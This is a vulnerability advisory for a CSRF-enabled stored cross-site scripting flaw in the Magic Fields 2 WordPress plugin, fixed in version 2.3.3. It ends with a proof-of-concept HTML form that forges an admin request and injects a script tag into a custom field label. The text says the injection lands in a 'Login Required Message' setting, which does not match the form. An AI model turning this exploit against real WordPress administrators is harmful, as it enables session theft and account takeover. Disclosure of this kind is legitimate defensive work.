Abstract
A Cross-Site Scripting vulnerability was found in the Magic Fields 2 plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
OVE ID
OVE-20160724-0017
Tested versions
This issue was successfully tested on Magic Fields 2 version 2.3.2.4.
Fix
This issue is fixed in version 2.3.3
Details
The Magic Fields plugin lacks a CSRF (nonce) token on the request of adding a magic field. The magic field lacks output encoding which could result in malicious script inserted by an attacker.
You need to lure a logged-in admin to follow a malicious link containing the poc below.
Proof of concept
The proof of concept below injects script code in the "Login Required Message" in the settings page.
<html>
<body>
<form action="http://build.wordpress-develop.dev/wp-admin/admin.php?page=mf_dispatcher&init=true&mf_section=mf_custom_fields&mf_action=save_custom_field" method="POST">
<input type="hidden" name="mf_field[core][id]" value="" />
<input type="hidden" name="mf_field[core][post_type]" value="page" />
<input type="hidden" name="mf_field[core][custom_group_id]" value="" />
<input type="hidden" name="mf_field[core][label]" value="foo"><script>alert(1)</script>" />
<input type="hidden" name="mf_field[core][name]" value="foo" />
<input type="hidden" name="mf_field[core][description]" value="asdasdasd" />
<input type="hidden" name="mf_field[core][type]" value="audio" />
<input type="hidden" name="mf_field[core][required_field]" value="0" />
<input type="hidden" name="mf_field[core][duplicate]" value="0" />
<input type="hidden" name="submit" value="Save Custom Field" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>